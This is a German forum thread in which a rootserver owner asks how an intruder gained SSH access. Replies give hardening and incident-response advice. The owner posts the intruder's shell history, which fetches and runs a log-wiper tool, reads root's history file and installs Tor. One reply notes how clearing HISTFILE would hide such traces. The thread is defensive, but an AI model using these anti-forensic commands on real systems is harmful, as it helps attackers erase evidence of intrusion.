Wie schließe ich die Sicherheitslücke?

[traxx]

Hallo erstmal,
ich hoffe ich stelle die Frage im richtigen Bereich. Ich habe einen kleinen Rootserver, aber leider nicht wirklich Ahnung davon. Bisher habe ich aber alle Probleme, mehr oder weniger lösen können.

Leider ist aber am Samstag jemand auf meinen Rechner und hat TOR installiert. Dabei wurde eine neue OpenSSL Version istalliert, was wiederrum meinem Server nicht gefallen hat (Apache, SSH usw.).

Nun zum eigentlichen Problem, es sollte eigentlich keiner auf den Server Zugriff haben ausser mir.
Folgendes habe ich im Log gefunden:

Code: Select all

Jan 20 19:16:07 h712556 sshd[5528]: Accepted keyboard-interactive/pam for apache2 from ::ffff:219.163.49.81 port 46450 ssh2
...
Jan 20 19:30:32 h712556 groupadd[10752]: new group added - group=_tor, gid=1001, by=0
Jan 20 19:30:32 h712556 useradd[10755]: new account added - account=_tor, uid=102, gid=1001, home=/var/lib/tor, shell=/bin/false, by=0
Jan 20 19:30:32 h712556 useradd[10755]: running USERADD_CMD command - script=/usr/sbin/useradd.local, account=_tor, uid=102, gid=1001, home=/var/lib/tor, by=0
...
Jan 20 20:16:13 h712556 sshd[5528]: syslogin_perform_logout: logout() returned an error

Könnt Ihr mir sagen ob die Person über eine Sicherheitslücke gekommen ist oder vielleicht sogar das Passwort wußte?

In den Apachelogs habe ich keine Zugriffe mit dieser IP gefunden.

Vielen Dank

[Joe User]

Moved from Webserver - Installation und Konfiguration to Sicherheitsrelevante Themen.

[captaincrunch]

Leider ist aber am Samstag jemand auf meinen Rechner und hat TOR installiert.

Mit deiner Zustimmung oder oder?

Code: Select all

Jan 20 19:16:07 h712556 sshd[5528]: Accepted keyboard-interactive/pam for apache2 from ::ffff:219.163.49.81 port 46450 ssh2

Deutet jedenfalls darauf hin, dass derjenige (kommend von IP 219.163.49.81) dass Passwort des Users "apache" kannte (der mir persönlich für sich allein genommen schon große Fragezeichen in die Augen treiben würde).

[Joe User]

Der Angreifer hatte/hat Rootrechte und ist vermutlich per Bruteforce auf den SSHd ins System gekommen (UsePAM yes). Server zur späteren Analyse sichern, anschliessend neu aufsetzen und vor dem Live-Betrieb Dein Sicherheitskonzept gründlich überarbeiten.

[khark]

Und in die sshd_config solltest du die Zeile: AllowUsers Benutzername aufnehmen.
Benutzername sollte ein User eine Rootrechte sein!

Desweiteren sollte den Apache über die Direktiven "User" und "Group" als unprivilegierter Benutzer laufen.
- Wenn er das nicht schon tut, wird mir aus den geposteten Logauszügen nicht ganz klar.

Interessant wäre auch ein Auszug der .bash_history um zu sehen, wie der Eindringling lokal vorgegangen ist bzw. was er getan hat.

[traxx]

Erst einmal Danke für Eure Antworten.

Der Angreifer hatte/hat Rootrechte und ist vermutlich per Bruteforce auf den SSHd ins System gekommen (UsePAM yes).

Müßte ich das nicht im Log sehen, also die Fehlversuche?

Und in die sshd_config solltest du die Zeile: AllowUsers Benutzername aufnehmen.

Habe ich hinzugefügt... Auf einen User Ohne Root Rechte, aber mit SSH Zugang. Kann ja dann mit SU wechseln.

Desweiteren sollte den Apache über die Direktiven "User" und "Group" als unprivilegierter Benutzer laufen.
- Wenn er das nicht schon tut, wird mir aus den geposteten Logauszügen nicht ganz klar.

Leider ist bei mir der Apachenutzer sogar in der Root Gruppe und hat Zugang zur bash. Auf was sollte ich das sinnvollerweise ändern? Kann ich das Benutzerpasswort auf etwas beliebiges ändern? (Server war ursprünglich Strato standard image)

Ich weiß, viel Text, aber es wurde nach gefragt: .bash_history

Code: Select all

cd /var/lib/apache2/
wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/mig-logcleaner11.tar.gz
tar zxvf mig-logcleaner11.tar.gz
cd mig-logcleaner
make linux
chmod +x mig-logcleaner
last -n 30
./mig-logcleaner -u HAUPTBENUTZER -n 1 -d
last -n 30
mc
mv mlogc ../
cd ..
ls -l
mc
exit
./mlogc -u apache2 -n 1 -d
last -n 30
pwd
cat /root/.bash
cat /root/.bash_history 
top
mkdir tmp
cd tmp/
wget ftp://ftp.gwdg.de/pub/linux/misc/suser-guru/rpm/packages/Libraries/libevent/libevent-1.1_0.1-2.guru.suse90.i686.rpm
yast -i libevent-1.1_0.1-2.guru.suse90.i686.rpm
wget http://tor.eff.org/dist/rpm-suse/tor-0.1.1.26-tor.0.suse.i386.rpm
yast -i tor-0.1.1.26-tor.0.suse.i386.rpm
tor
uname -a
uname -r
uname
wget ftp://ftp.gwdg.de/pub/linux/suse/ftp.suse.com/suse/update/10.2/rpm/i586/openssl-0.9.8d-17.2.i586.rpm
yast -i openssl-0.9.8d-17.2.i586.rpm 
tor
wget http://www.openssl.org/source/openssl-0.9.8d.tar.gz
tar zxvf openssl-0.9.8d.tar.gz
cd openssl-0.9.8d/
./config && make
make install
wget http://www.openssl.org/source/openssl-0.9.8d.tar.gz
locate libssl
ls -l /usr/lib
tor
ls -l /lib/tls/
http
yast
yast2
yast1
rpm -h
rpm -e openssl-0.9.8d-17.2.i586.rpm 
rpm --help
rpm -i openssl-0.9.8d-17.2.i586.rpm 
wget ftp://rpmfind.net/linux/SuSE-Linux/i386/update/10.1/rpm/i586/glibc-2.4-31.1.i586.rpm

Vielen Dank - auch für Eure Geduld. Ich weiß das solche immer wieder kehrende Anfängerfragen, nicht gerade das angenehmste sind.

[lord_pinhead]

Wie sieht den deine passwd aus, hat der apache2 Benutzer etwa ein Passwort? Per Default hat keine Distri dem User ein Passwort vergeben, um genau zu sein ist der Account für den Login nicht vorgesehen und deaktiviert, erkennbar an dem Ausrufezeichen in der /etc/shadow (Beispiel: apache2:!0:99999:7:::). Sind vielleicht neue Ports offen die zum Login dienen könnten?

Such mal die Platte nach unbekannte Programmen und Scripten ab, meist in /tmp, /var/tmp oder im Verzeichniss der Domains. Vielleicht mal nach wget|curl|puf suchen in den Logfiles.

Läuft das System noch? Wenn ja, runterfahren und im Rescure booten (/tmp sichern).

Edit:

/etc/passwd -> apache233:33:apache2:/var/www:/bin/sh
/etc/shadow -> apache2:!0:99999:7:::

/var/www und die Gruppenids vielleicht anpassen. Und wenn du richtig sicher sein willst (das ist jetzt nur von mein Intranetserver kopiert), ersetze die Shell durch /bin/false oder eine Chrootshell. Meist zeigt die /etc/sh nur auf eine andere Shell wie /bin/bash

Bleibt noch die Gretchenfrage: Wie kam der Angreifer an einen SSH Login. Wenn er über den Apache User gekommen wäre, würden seine Aktionen normalerweiße nicht in der bash_history landen (btw.: er hat sich anscheinend sowisso keine Mühe gemacht es zu vertuschen, Quellrechner war ja in Japan).

edit2:
Der Logcleaner kommt mit noexec gemounteten /tmp nicht weit, dummes Werkzeug ;)

[rootsvr]

Generell ist Apache der mit rootrechten läuft und dann vielleicht auch noch mit mod_php (php läuft mit rechten des Webservers.. also root) ein Grund für eine Standesrechtliche Erschiessung.

Nach bash History wurden ein log_cleaner gestartet, ob da dann noch viel Logfile übrig ist weiß ich nicht..
ggf findest Du deshalb auch keine fehlerhaften Loginversuche.

Für die Zukunft: neues Image nutzen (deine Aussage "war ursprünglich Strato standard image" klingt wie "damals vor 10 Jahren")

bei aktuellen Versionen läuft Apache eigentlich immer als www-data oder nobody. Die Logfiles schauen aber aus als würde der Angreifer was für Suse 10.1 installieren.. eigentlich würde ich da Apache nicht mit rootrechten vermuten.

ggf. mal Apache logs durchschauen ob da wget und Co auftaucht, vielleicht kam der Angreifer auch daher.

[traxx]

Also ich habe jetzt erst einmal den Apache User ausgesperrt. In den Log Files kann ich leider gar nichts finden. Die Bash_History ist übrigends direkt vom Apache User und nicht vom Root.

Das System ist ein Suse 9.3 mit Visas (ServerAdmin24) von Strato. Der Spamfilter (Spamassassin) funktionierte aber nicht so wie ich wollte. Deshalb wurde da einiges verändert (aus diesem Grund das "war ursprünglich ein Strato image")

Wenn ich im Logfile schau (erster Post), wundert mich auch der Port 46450, der ist bei SSH doch eigentlich ein anderer, oder nicht?

Das System lief im übrigen nicht mehr, da durch die TOR und damit verbundenen aktuallisierung von OpenSSL der Zugriff über SSH und Apache nicht mehr Möglich war. Der Webmin merkte das allerdings und ließ auch zugriffe über http zu (anstelle von sonst, https), somit konnte das System dann doch wieder zum laufen gebracht werden (reinstallation einer älteren SSL Version)

Was bedeutet daS?

Der Logcleaner kommt mit noexec gemounteten /tmp nicht weit, dummes Werkzeug

[rootsvr]

Wenn ich im Logfile schau (erster Post), wundert mich auch der Port 46450, der ist bei SSH doch eigentlich ein anderer, oder nicht?

Ja aber nur auf Server Seite.. der Remote Port auf der Gegenseite (wie bei Dir im Log) kann alles sein.

Das System lief im übrigen nicht mehr, da durch die TOR und damit verbundenen aktuallisierung von OpenSSL der Zugriff über SSH und Apache nicht mehr Möglich war. Der Webmin merkte das allerdings und ließ auch zugriffe über http zu (anstelle von sonst, https), somit konnte das System dann doch wieder zum laufen gebracht werden (reinstallation einer älteren SSL Version)

Ich hoffe Du willst damit nicht sagen das die Kiste noch läuft und Du glaubst jetzt ist alles ok.
Backup/Image ziehen und Plattmachen, Du weißt nicht was der Angreifer alles gemacht hat. vielleicht hat er jetzt alle möglichen User kompromitiert oder zumindest die /etc/shadow ausgelesen

Was bedeutet daS?

Der Logcleaner kommt mit noexec gemounteten /tmp nicht weit, dummes Werkzeug

Das der logcleaner mit einer noexec gemounteten /tmp wohl Probleme hat, das ändert nichts daran das deine Kiste nicht mehr als sicher zu betrachten ist. Desweiteren glaube ich nicht das dein /tmp noexec ist, da Strato das nicht standardmäßig macht.

[lord_pinhead]

@Traxx
das mit noexec ist recht einfach, du hängst /tmp mit ein paar Optionen ein damit dort keine "gefährlichen" dateien landen oder ausgeführt werden können. Aber da er sowisso root rechte hatte, wäre das kein Problem gewesen. Ich meinte nur dass das Tool ein Fehler hat ;)

Welche Version von Webmin ist drauf, ich hoffe nicht die vom Suse 9.3 Repository, die ist veraltet. Wäre eine mögliche erklärung wie der Angreifer ins System kam.

[traxx]

Ich habe nun angefangen das System neu aufzusetzen. Nein, es war kein alter webmin drauf - habe den manuell nachinstalliert.
Leider ist mir eben beim Daten wiedereinspielen aufgefallen, dass aus irgendeinem Grund die MYSQL daten im Backup fehlen - verdammt.

Wird zeit fürs Bett.
Dank Euch alle für die Zahlreichen Antworten

[thorsten]

Da war ein Kenner am Werk ^^ (Achtung Ironie!)

Da zieht er nen logcleaner "wget http://packetstormsecurity.org/UNIX/pen ... r11.tar.gz " aber vergißt ein export HISTFILE= - oh Mann ist das daneben...

Naja, dafür weißt du jetzt, was er alles auf deinem Server getrieben hat...

[condor]

Das ist so Typ Standart bei den Sploitern

aber Webmin war normal vuln und du konntest Dir ganz locker die shadow holen.

Der Rest ist ja klar , es ist halt nix 100% sicher

condor